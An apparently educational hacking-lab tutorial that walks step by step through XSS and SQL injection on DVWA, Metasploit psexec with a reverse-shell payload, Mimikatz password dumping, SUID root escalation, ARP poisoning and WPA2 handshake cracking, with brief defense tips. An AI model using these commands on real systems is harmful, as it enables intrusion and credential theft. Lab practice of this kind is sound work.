🛠️ Advanced Hacking Practice: Step-by-Step Guide

Now that you've completed the basic hacking exercises, let's move on to real-world attack techniques and security countermeasures.
This guide covers web hacking, system hacking, network hacking, wireless hacking, and digital forensics in a detailed, step-by-step format. 🚀

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1️⃣ Advanced Web Hacking: OWASP Top 10

Learn how to exploit and secure common web vulnerabilities.

✅ Requirements

• Kali Linux (Attacker)
• DVWA (Damn Vulnerable Web App) or bWAPP (Vulnerable Web Application)
• Burp Suite (Web request interception tool)

📌 Exercise 1: Cross-Site Scripting (XSS) Attack

XSS allows attackers to inject malicious scripts into web pages.

1️⃣ Install and Run DVWA

1. Open DVWA on the target machine (http://[Target IP]/dvwa/).
2. Login Credentials:
   • Username: admin
   • Password: password
3. Set Security Level to "Low" in the settings.

2️⃣ Perform an XSS Attack

1. Navigate to "Vulnerabilities" → "XSS Stored".
2. In the input field, enter the following script:

html
<script>alert('Hacked!');</script>

3. Click submit and refresh the page—a pop-up should appear!

📌 Defense Strategies:

• Validate and sanitize input to remove <script> tags.
• Implement Content Security Policy (CSP) to block unauthorized scripts.

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📌 Exercise 2: SQL Injection Attack

SQL Injection manipulates database queries to gain unauthorized access.

1️⃣ Exploiting SQL Injection

1. Navigate to "Vulnerabilities" → "SQL Injection".
2. In the username field, enter:

vbnet
' OR 1=1 -- 

👉 You are now logged in as an administrator! 🎯

📌 Defense Strategies:

• Use prepared statements (e.g., PDO, MySQLi).
• Validate and sanitize user inputs.

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2️⃣ Advanced System Hacking: Windows & Linux Exploitation

✅ Requirements

• Kali Linux (Attacker)
• Windows 10 or Metasploitable (Target)

📌 Exercise 1: Windows Password Dumping (Mimikatz)

Extract stored Windows credentials using Mimikatz.

1️⃣ Exploit the Target System

1. Open Metasploit in Kali Linux:

bash
msfconsole
use exploit/windows/smb/psexec
set RHOSTS [Target IP]
set PAYLOAD windows/meterpreter/reverse_tcp
exploit

2. Run Mimikatz to dump passwords:

bash
mimikatz
privilege::debug
sekurlsa::logonpasswords

👉 Windows user credentials will be displayed!

📌 Defense Strategies:

• Enable LSASS protection.
• Use Windows Defender Credential Guard.

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📌 Exercise 2: Linux Privilege Escalation

Gain root access by exploiting misconfigured SUID files.

1️⃣ Find SUID Binaries

bash
ssh user@[Target IP]
find / -perm -4000 2>/dev/null

👉 This lists all SUID-enabled files, which could be exploited.

2️⃣ Exploit a Misconfigured Binary

bash
./vulnerable_program
/bin/bash -p

👉 You now have root access! 🎉

📌 Defense Strategies:

• Regularly audit SUID files (find / -perm -4000).
• Keep system updates and patches applied.

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3️⃣ Network Hacking: Man-in-the-Middle (MITM) Attacks

Intercept and manipulate network traffic.

✅ Requirements

• Kali Linux (Attacker)
• Wireshark, Ettercap (Packet analysis tools)

📌 Exercise 1: ARP Spoofing Attack

1. Open Ettercap in Kali Linux:

bash
ettercap -G

2. Select "Sniff" → "Unified Sniffing" and choose your network interface.
3. Scan for hosts: "Hosts" → "Scan for hosts".
4. Select the target and run "Mitm" → "ARP poisoning".
   👉 You can now capture their network traffic!

📌 Defense Strategies:

• Use ARP spoofing detection tools (e.g., ARPwatch).
• Implement network segmentation and VLANs.

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4️⃣ Wireless Hacking: Wi-Fi Exploitation

Hack into a WPA2-protected network using handshake attacks.

✅ Requirements

• Kali Linux
• Wireless adapter supporting monitor mode

📌 Exercise 1: Cracking WPA2 Handshake

1. Start monitoring mode:

bash
airmon-ng start wlan0
airodump-ng wlan0mon

2. Capture packets from a target Wi-Fi:

bash
airodump-ng -c [channel] --bssid [target BSSID] -w capture wlan0mon

3. Crack the captured handshake:

bash
aircrack-ng -w rockyou.txt -b [target BSSID] capture.cap

👉 If successful, the Wi-Fi password is revealed! 🎉

📌 Defense Strategies:

• Upgrade to WPA3 encryption.
• Enable MAC address filtering.

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5️⃣ Digital Forensics: Investigating a Cyber Attack

Analyze logs and memory dumps to detect hacker activity.

✅ Requirements

• Kali Linux
• Volatility, Autopsy (Forensic tools)

📌 Exercise 1: Memory Dump Analysis

1. Load a memory dump:

bash
volatility -f memory.dmp imageinfo

2. Identify running processes:

bash
volatility -f memory.dmp pslist

👉 You can now analyze malicious processes!

📌 Defense Strategies:

• Implement real-time SIEM (Security Information and Event Management).
• Automate security responses using SOAR (Security Orchestration, Automation, and Response).

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🔚 Final Steps: Strengthening Security After Hacking Practice

✅ Reset virtual machines after each hacking session.
✅ Learn incident response strategies.
✅ Apply latest security patches.

You have now completed advanced hacking techniques! 🎉

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